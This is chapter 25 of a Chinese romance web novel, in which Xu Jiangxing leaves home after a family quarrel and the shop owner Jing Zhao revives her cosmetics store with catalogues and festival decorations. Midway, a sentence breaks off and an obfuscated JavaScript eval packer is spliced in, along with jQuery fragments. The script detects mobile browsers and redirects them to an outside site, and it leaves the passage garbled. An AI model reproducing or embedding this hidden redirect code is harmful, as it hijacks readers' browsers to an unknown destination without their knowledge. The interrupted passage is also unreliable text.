25. 第二十五章

    荆昭觉得徐江行这人肯定是被什么脏东西缠上了,离开之前,她还好心地提醒他若是需要,她倒是可以帮他找人驱一驱。


    在听完小儿子咬牙切齿地转述后,长公主突然觉得自家的榆木疙瘩发芽后变聪明了。


    “你为昭儿做了那么多事,她定能感受得到你的心意。”


    徐江行不信:“她的脑子只能感受到做什么生意赚钱。”


    “你若是真的心悦她,我们可以帮忙,但你若是朝秦暮楚,那还是不要表露自己的心意了。”


    “我在大哥心中竟是这样的人?”


    “现在说的是你俩的事。”徐望山面对弟弟的质问,转移话题。


    可徐江行却不依不饶,态度坚决:“母亲觉得呢?母亲也认为我是那样随便之人?”


    长公主被突如其来的质问打得措手不及,不知该如何开口,以前的她对徐江行有偏见,总觉得这个小儿子纨绔,整日吃喝玩乐,既不努力读书考取功名,又不建功立业报效朝廷。


    徐江行从他们的表情中得知了答案,冷笑一声,声音淡淡的:“既然在大哥和母亲心中我是这样的人,那以后也不劳你们费心了。”


    他迈着坚定又决绝的步伐离开,直到看不见背影,长公主跌坐在榻上,面色苍白,泪珠悄无声息地从眼眶坠下:“是我对不起行儿。”


    徐望山上前安抚着母亲:“母亲,若非身不由己,你也不想这样,不要自责了,我去找江行说清楚。”


    “别去。”


    “母亲为何不准我说出来当年之事事出有因。”徐望山不解,他只觉得只要说出来,弟弟定能理解母亲,母子二人的隔阂也能消散。


    可母亲为何不愿意让他说呢?


    徐江行出了长公主府,回到大哥给他买的宅子里,看着宅中的一草一木,他吩咐下人把院中所有的灯光熄灭,任何人不准在院中随意走动。


    “春华姐姐,公子这是怎么了?要不要禀告大公子?”


    春华思索片刻,去了徐江行院里。


    “姐,你怎么过来了?”


    “公子呢?”


    秋实回头看了看紧闭的房门,说道:“公子休息了,吩咐不让任何人打扰。今日公子回来时我就感觉到他心情不佳,姐,若是没什么要紧事,还是明日再说吧。”


    “嗯,你照顾好公子,所有事记得来喊我。”


    看着春华出了院子,秋实连忙学了两声猫叫。


    门开了,只见徐江行一袭黑衣从里面走出。


    “公子,你真的要走吗?”秋实满脸不舍。


    公子晚上回来时,就让他赶紧准备好夜行衣和一些银钱,他就猜到了公子定要走了。


    果不其然。


    徐江行拍了拍秋实的肩膀:“明日带府里的人回长公主府,大哥不会为难你们的。”


    “公子,你何时回来?”


    “我也不知道,你照顾好自己,也照顾好你姐姐。”


    “荆店主呢?”


    听到这个名字,徐江行愣了一下,自嘲地笑道:“她朋友众多,也不需要我为她做些什么。”


    “什么?”春华看着一脸无辜的弟弟,恨不得把他扔进护城河,“你怎么不拦着公子?”


    “不敢。”


    两人回到长公主府,春华和秋实贵在长公主的院里。


    “让他俩进来吧。”


    徐望山听说弟弟连夜离家的消息,很是后悔昨日没告诉他,他所在意的那件事。


    “我现在就去找他!”


    秋实支支吾吾地说不出徐江行去了哪里,都快哭出来了,徐望山强压着怒火:“你仔细想想。”


    “公子只让我准备了钱财,其余的就没说过了。”


    徐望山突然想到一个人,抓着秋实的肩膀问道:“他离开前有没有说要去和荆昭道别。”


    “没有,我当时还问公子,他只说荆店主朋友众多,不需要他。”


    徐望山和长公主对视一眼。


    这臭小子根本就不是因为当年的事离家出走,明明是为情所困啊。


    二人松了一口气,徐望山给秋实塞了一个银锭子,秋实不明,却被识相的春华带走了。


    “姐,你为何不让我问问大公子给我银锭做什么?”


    “你笨啊!”春华一副看傻子的模样。


    秋实不语,他本以为大公子会大发雷霆,甚至把自己赶出府,没想到自己的猜想没有发生,反而还得到一个银锭。


    大公子是个好人。


    “姐,你知道公子去哪里了吗?”


    春华加快步伐。


    “姐,你为何不说话?”


    春华回到徐府,把府里的下人安排妥当,他们自然是不能回公主府的,若是公子回来了,府里没人,谁来照顾他。


    荆昭见徐望山来找她,以为是长公主有事或是之前的事有了结果。


    “什么?他什么时候走的?”


    “昨晚从家里回去,让秋实准备了衣服和银钱就走了。”


    这就是不宵禁的坏处啊!还有那个城门!怎么大晚上的还开啊?


    徐江行真幼稚,受点委屈就离家出走,跟个小孩子似的。


    幼稚的人已经连夜骑马飞奔到了洛州城与好友相会了。


    荆昭随意问道:“大公子有派人去寻他吗?”


    “昭妹妹这是担心江行的安全?”


    怎么可能?我巴不得他离我远远儿的呢。


    见荆昭不语,徐望山试探道:“昭妹妹真的不担心江行一人在外?”


    “不担心啊,他那个人,就算是离家出走,定是去寻朋友了,才不会独自在外。”


    “你很了解他。”


    被打上了一个很了解徐江行的标签,荆昭觉得自己是有苦难言。


    送徐望山出去后,荆昭想起昨夜徐江行的话。


    他为什么想看我?


    荆昭想破了头,终于想明白了,这人是在嘲讽我脸上的伤痕!


    还亏我在得知他不辞而别的消息后,有那么一刻是担心他的。


    被误解的主角此时正与好友吃喝玩乐。


    “好久不见,今日不醉不归。江行。你这次务必在我这里多住几日我可要好好招待你一番。”


    “之路放心,这次来了,我短时间之内不会回去,你只需要备好钱财。”


    “江行,如此甚好!甚好!”


    —


    “店主,柜子里这些药膏要放到哪里呀?”


    荆昭本想让禄盛放在店里,万一有人有需要,却又跑到楼上。


    “你帮我放进匣子里,晚上带回小院吧。”


    徐江行这人,也不知是怎么想的,送这么多药膏,就算是十个她也涂不完。


    也不知他现在怎么样了?


    这是徐江南离开五日后,荆昭第一次想起他。


    他一个公子哥,就算离家出走也一定能吃香喝辣,自己一个劲地瞎操什么心啊。


    荆昭摇摇头,扔掉脑子里的徐江行。


    还是赚钱要紧,天气越来越热,小姐贵人们都不愿意出门了,玉妆阁的生意变得平淡起来,不过还好之前赚得多,她还能养


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012487|161013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得起这么多嘴。


    “店主,就算我们送冰饮,但是大家根本不愿意为了一杯冰饮出门。”


    荆昭苦思冥想,若是玉妆阁能进入夜市就好了,夜晚凉快正好出门,但除了酒肆,食铺,也再无闲逛之处。


    想到此事,立马告知长公主。


    “白日里要开店,晚上还要去夜市,会很累的。”


    女子熬夜对皮肤不好,但也不能让店里的男人去做夜市,荆昭立马否定了这个想法。


    “长公主说得对,这确实不是一个良计。”


    “我以为昭儿会坚持。”


    荆昭:“若是入了也是,我自己定不愿意日日都晚上做工,我自己做不到的,岂能要求他人。”


    她眼珠子一转,坐到长公主身边,狡黠一笑:“我又想到一个法子。”


    “说来听听。”


    说干就干,荆昭连夜设计了玉妆阁画册,所有商品和妆容尽在。


    禄盛和荆昭挨家挨户地给老主顾送去册子:“日后若是买花钿,不必到店中选购,在册子上选好,让府中下人来店里购买即可。”


    收到册子的都纷纷夸赞荆昭的奇思妙想。


    “这册子真是方便,不过日后若是有了新款…”


    “赵小姐放心,每月初一上新款,到时提前两天来店里凭旧册子换新。”


    有了册子,玉妆阁的生意又火爆起来,虽店中客人寥寥无几。


    “笑歌,你陪我去花店买些新奇的花来。”


    “荆店主,这些都是我店里最新品种了,我的花店可是全京城最大最全的了,这新品种也比别家多。”


    荆昭选了二十几样,开始砍价:“店主,你这花,能否给我便宜些。”


    花店店主思索着,也听说了荆昭的很多事,知道她与京城很多夫人小姐有所交集,甚至还攀附上长公主。


    此女定不简单。


    “那是自然。”


    付了钱,花店店主叫来人把花都送到玉妆阁。


    “店主,这玉妆阁不是卖女子的店吗,买这么多花做什么?不会是想抢我们的生意吧?”


    “你去盯着。”


    出了花店,荆昭又去了卖布料的店铺。


    楚笑歌疑惑:“店主,为何要买这么多花和布料?”


    “明日就是行花节了,我们店里也要好好装饰一番,以后每个节日都要认真装饰成符合节日的风格,再推出一些活动,这样不仅能吸引客人,也能让我们店铺成为京城的一个风向标。”


    “风向标是何意?”


    “日后只要每个节日,百姓都会想起我们的店铺。”


    楚笑歌再次对荆昭刮目相看。


    二人在街上走走逛逛,又买了许多东西,回到玉妆阁,就看到之前买的各种东西已经摆满了整个院子。


    禄盛站在台阶上,院中已无落脚之地,手足无措地看着满院的花,看到荆昭回来,像是抓到了救命稻草:“店主,这些都是你买的?”


    “你去再找些人来,把花放在廊下,其余的放到东边的屋子里。”


    “是。”


    玉妆阁人手不够,荆昭找长公主借了很多人来帮忙,终于在子时把她的想法落实好了。


    “真好看啊。”


    “今日辛苦大家了,等行花节圆满结束,我给大家发辛苦费。”


    第二天天刚亮,荆昭就开门营业了。


    没过多久,街上就有年轻男女出门游玩了,看到玉妆阁花团锦簇,锦纱飘飘,众人好奇极了。


    “快看,玉妆阁今日还有各种活动!”